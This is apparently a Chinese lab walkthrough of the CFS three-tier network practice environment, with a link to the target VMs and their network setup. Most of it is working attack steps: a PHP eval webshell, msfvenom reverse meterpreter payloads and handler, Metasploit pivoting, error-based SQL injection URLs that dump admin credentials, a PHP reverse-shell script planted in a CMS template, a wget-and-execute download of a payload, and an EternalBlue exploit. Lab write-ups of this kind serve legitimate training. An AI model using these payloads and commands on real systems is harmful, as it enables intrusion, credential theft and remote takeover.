CFS三层网络经典版

简介: CFS三层网络经典版

kali IP:192.168.5.0/24

Goby反手一波

写shell

echo '<?php @eval($_POST[a]);?>' > /www/wwwroot/ThinkPHP/public/shell.php
蚁剑连接
http://192.168.5.143/shell.php

640.png

使用msfvenom生成对应的反向shellcode

msfvenom -plinux/x64/meterpreter/reverse_tcp LHOST=192.168.5.144 LPORT=4444 -f elf > shell.elf


执行 上线msf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.5.144
set lport 4444
run

获取内网ip段

run get_local_subnets
Local subnet: 192.168.5.0/255.255.255.0
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.122.0/255.255.255.0
5是模拟外网 
22 是内网

添加路由

run autoroute -s 192.168.22.0/24

640.png

查看内网ip

arp -a

配置socke代理
use auxiliary/server/socks4a
直接run  代理启动
配置proxychains

扫描22

proxychains nmap -Pn -sT 192.168.22.22

浏览器设置socks4 代理 1080

二层网络

640.png

640.png

单引号报错 存在注入

查看数据库

http://192.168.22.22/index.php?r=vul&keyword=1%27%20and%20updatexml(1,concat(0x7e,%20database(),0x7e),1)--+


查看数表

http://192.168.22.22/index.php?r=vul&keyword=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) frominformation_schema.tables where table_schema='bagecms'),1,32),0x7e),1)--+

获取字段

http://192.168.22.22/index.php?r=vul&keyword=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) frominformation_schema.columns where table_schema='bagecms' andtable_name='bage_admin'),1,32),0x7e),1)--+

获取值 - 密码

http://192.168.22.22/index.php?r=vul&keyword=1' and updatexml(1,concat(0x7e,substr((select concat(username,0x7e,password) from bagecms.bage_admin),1,31),0x7e),1)--+

640.png

登录后台

admin 123qwe

模板 tag页面 index.php 测试下

   


写入php反弹shell
<?php 
set_time_limit(0); 
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
    fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
    while(!feof($fp)){
    fputs($fp,"shell:");
    $shell=fgets($fp);
    $message=`$shell`;
    fputs($fp,$message);
    }
fclose($fp);
}

http://192.168.22.22/index.php?r=tag

640.png

下载 shell.elf 反弹shell

kali
python -m SimpleHTTPServer 8000
shell:
wget http://192.168.5.31:8000/shell.elf
chmod 777 shell.elf
./shell.elf

三层网络

proxychains nmap -Pn -sT 192.168.33.33

640.png

乍一看 开启了135 445 永恒之蓝了解一下

扫描17-010
auxiliary/scanner/smb/smb_ms17_010

640.png

攻击

exploit/windows/smb/ms17_010_psexe
set payload windows/meterpreter/bind_tcp
set rhost 192.168.33.33
run

ok 结束

靶机地址:

链接:https://pan.baidu.com/s/16Rd-3TpKLtFIf2ObWXxN6g

提取码:957b

环境配置:

centos 双网卡

桥接  

NET 192.168.22.0/24  

登录进去 init 5  切换桌面模式 图形化配置ip

ubuntu 双网卡

NET 192.168.22.0/24  

仅主机 192.168.33.0/24

auto ens33
iface ens33 inet static
address 192.168.22.22
netmask 255.255.255.0 
gateway 192.168.22.254
auto ens38
iface ens38 inet static
address 192.168.33.22
netmask 255.255.255.0 
gateway 192.168.33.1

win7 仅主机模式

相关文章
|
1月前
|
负载均衡 安全 API
SDN网络架构分为哪三层
SDN软件定义网络是一种创新的网络架构,旨在提供更灵活、可编程和智能的网络管理。SDN的设计理念是通过将网络控制平面和数据平面分离,实现对网络行为的集中控制和编程。
|
2月前
|
网络协议 算法 数据库
|
11月前
|
SQL 安全 Ubuntu
CFS三层网络环境实战
靶机系列文章最后一篇,之前文章中的靶机链接,文末中会给出,请注意保存...
121 0
|
网络协议 Shell 网络虚拟化
网络三层交换机部署实验
网络三层交换机部署实验
106 0
网络三层交换机部署实验
|
网络协议 网络虚拟化 网络架构
综合实验高级网络—— 配置三层 热备等网络技术2
配置三层 热备 生成树 ospf 和 rip 以及他们之间的重分发等将内网 全通 做pat 让 vlan 10 vlan 20 网段的用户可以访问外网 外网地址映射到路由器外接口地址 做静态nat 将 外部web 映射到 61.129.62.150 让外网终端可以访问内部的 &quot;外部web&quot; 做扩展acl 列表 让vlan 10 和 vlan 20 用户能够访问ftp 但不能ping 同ftp 也不能访问 内部web可以访问外部web 让管理区电脑可以访问所有 服务器 但不能访问ftp .
101 0
|
网络协议 网络虚拟化 网络架构
综合实验高级网络—— 配置三层 热备等网络技术1
一.高级网络应用大实验 1.实验要求: 配置三层 热备 生成树 ospf 和 rip 以及他们之间的重分发等将内网 全通 做pat 让 vlan 10 vlan 20 网段的用户可以访问外网 外网地址映射到路由器外接口地址 做静态nat 将 外部web 映射到 61.129.62.150 让外网终端可以访问内部的 "外部web" 做扩展acl 列表 让vlan 10 和 vlan 20 用户能够访问ftp 但不能ping 同ftp 也不能访问 内部web可以访问外部web 让管理区电脑可以访问所有 服务器 但不能访问ftp .
119 0
综合实验高级网络—— 配置三层 热备等网络技术1
|
网络虚拟化 网络架构
华为网络配置(三层交换与Hybrid)
案例、配置过程、测试结果
260 1
华为网络配置(三层交换与Hybrid)
|
1月前
|
机器学习/深度学习 数据采集 人工智能
m基于深度学习网络的手势识别系统matlab仿真,包含GUI界面
m基于深度学习网络的手势识别系统matlab仿真,包含GUI界面
38 0

热门文章

最新文章